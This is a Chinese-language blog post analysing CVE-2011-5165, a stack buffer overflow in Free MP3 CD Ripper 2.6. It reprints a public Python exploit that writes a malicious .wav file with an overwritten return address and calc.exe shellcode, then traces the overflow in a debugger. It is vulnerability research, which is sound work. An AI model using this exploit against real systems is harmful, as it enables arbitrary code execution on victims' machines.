CVE-2011-5165 Free MP3 CD Ripper 2.6栈溢出漏洞分析
0x00 参考
https://www.exploit-db.com/exploits/36465/
poc:
https://www.exploit-db.com/exploits/36465/
poc:
#!/usr/bin/python #[+] Author: TUNISIAN CYBER #[+] Exploit Title: Free MP3 CD Ripper All versions Local Buffer Overflow #[+] Date: 20-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R ## EDB Note: Didn't work with Windows 7. from struct import pack file = "evilfile.wav" junk = "\x41" * 4112 eip = pack( '<I' , 0x7C9D30D7 ) nops = "\x90" * 3 #Calc.exe Shellcode shellcode = ( "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78" "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3" "\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd" "\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8" "\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5" "\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87" "\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca" ) writeFile = open ( file , "w" ) writeFile.write(junk + eip + nops + shellcode) writeFile.close()
通过poc生成的evilfile.wav,把返回地址(eip)修改成0xffffffff,用Free MP3 CD Ripper2.6打开后,在崩溃前用调试器附加程序
0x01 漏洞分析
触发漏洞后,由于跳转到非法地址,调试器会中断下来,通过栈回溯4047fe地址前的函数调用,一般为漏洞发生的地方
eip被覆盖为0xffffffff
在call edx下断
这里会调用2次,第1次检测是否存在C:\PROGRAm~2\FREEMP~1\Output\evilfile.mp3
单步跟,这里离真正触发那里比较远。(一直跟到分配内存那块)
分配的空间大小为418个字节
继续单步
读取到刚刚分配的空间里,先读取4个字节进行类型判断,后面就一个字节一个字节的读取
当把poc中的数据读取完,或者读取到数据大于2000时就停止读取
(这里就产生了溢出,缓冲区分配才418个字节,加上其他分配的局部变量才100c,即使不超过2000,也溢出了)
|
评论
发表评论